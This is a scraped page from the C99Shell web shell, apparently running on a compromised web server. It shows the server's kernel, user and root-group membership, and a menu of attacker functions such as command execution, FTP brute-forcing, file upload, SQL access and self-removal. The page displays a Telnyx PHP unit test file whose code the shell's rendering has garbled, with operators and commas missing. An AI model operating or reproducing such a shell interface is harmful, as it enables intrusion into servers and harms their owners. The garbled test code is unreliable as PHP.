!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/telnyx/telnyx-php/tests/api_resources/   drwxr-xr-x
Free 29.29 GB of 117.98 GB (24.83%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CollectionTest.php (4.94 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Telnyx;

/**
 * @internal
 * @covers \Telnyx\Collection
 */
final class CollectionTest extends \Telnyx\TestCase
{
    
/**
     * @before
     */
    
public function setUpFixture()
    {
        
$this->fixture Collection::constructFrom([
            
'url' => '/things',
            
'data' => [
                [
'id' => 1],
                [
'id' => 2],
                [
'id' => 3]
            ],
            
'meta' => [
                
'page_size' => 3,
                
'page_number' => 2,
                
'total_results' => 6,
                
'total_pages' => 4
            
]
        ]);
    }

    public function 
testCanList()
    {
        
$this->stubRequest(
            
'GET',
            
'/things',
            [],
            
null,
            
false,
            [
                
'data' => [
                    [
'id' => 1],
                    [
'id' => 2],
                    [
'id' => 3]
                ],
                
'meta' => [
                    
'page_size' => 3,
                    
'page_number' => 2,
                    
'total_results' => 6,
                    
'total_pages' => 4
                
]
            ]
        );

        
$resources $this->fixture->all();
        
$this->assertTrue(is_array($resources['data']));
    }

    public function 
testCanRetrieve()
    {
        
$this->stubRequest(
            
'GET',
            
'/things/1',
            [],
            
null,
            
false,
            [
                
'id' => 1,
            ]
        );

        
$this->fixture->retrieve(1);
    }

    public function 
testCanCreate()
    {
        
$this->stubRequest(
            
'POST',
            
'/things',
            [
                
'foo' => 'bar',
            ],
            
null,
            
false,
            [
                
'id' => 2,
            ]
        );

        
$this->fixture->create([
            
'foo' => 'bar',
        ]);
    }

    public function 
testCanIterate()
    {
        
$seen = [];
        foreach (
$this->fixture['data'] as $item) {
            
array_push($seen$item['id']);
        }

        
$this->assertSame([123], $seen);
    }

    public function 
testSupportsIteratorToArray()
    {
        
$seen = [];
        foreach (
iterator_to_array($this->fixture) as $item) {
            
array_push($seen$item['id']);
        }

        
$this->assertSame([123], $seen);
    }

    public function 
testHeaders()
    {
        
$this->stubRequest(
            
'POST',
            
'/things',
            [
                
'foo' => 'bar',
            ],
            [
                
'Telnyx-Account: acct_foo',
                
'Idempotency-Key: qwertyuiop',
            ],
            
false,
            [
                
'id' => 2,
            ]
        );

        
$this->fixture->create([
            
'foo' => 'bar',
        ], [
            
'telnyx_account' => 'acct_foo',
            
'idempotency_key' => 'qwertyuiop',
        ]);
    }

    public function 
testEmptyCollection()
    {
        
$emptyCollection Collection::emptyCollection();
        
$this->assertEquals([], $emptyCollection->data);
    }

    public function 
testIsEmpty()
    {
        
$empty Collection::constructFrom(['data' => []]);
        
$this->assertTrue($empty->isEmpty());

        
$notEmpty Collection::constructFrom(['data' => [['id' => 1]]]);
        
$this->assertFalse($notEmpty->isEmpty());
    }

    public function 
testNextPage()
    {
        
$this->stubRequest(
            
'GET',
            
'/things',
            [
                
'page[number]' => 3
            
],
            
null,
            
false,
            [
                
'data' => [
                    [
'id' => 1],
                    [
'id' => 2],
                    [
'id' => 3]
                ],
                
'meta' => [
                    
'page_size' => 3,
                    
'page_number' => 2,
                    
'total_results' => 6,
                    
'total_pages' => 4
                
]
            ]
        );

        
$nextPage $this->fixture->nextPage();
        
$ids = [];
        foreach (
$nextPage->data as $element) {
            
array_push($ids$element['id']);
        }
        
$this->assertEquals([123], $ids);
    }

    public function 
testPreviousPage()
    {
        
$this->stubRequest(
            
'GET',
            
'/things',
            [
                
'page[number]' => 1
            
],
            
null,
            
false,
            [
                
'data' => [
                    [
'id' => 1],
                    [
'id' => 2],
                    [
'id' => 3]
                ],
                
'meta' => [
                    
'page_size' => 3,
                    
'page_number' => 2,
                    
'total_results' => 6,
                    
'total_pages' => 4
                
]
            ]
        );

        
$previousPage $this->fixture->previousPage();
        
$ids = [];
        foreach (
$previousPage->data as $element) {
            
array_push($ids$element['id']);
        }
        
$this->assertEquals([123], $ids);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0044 ]--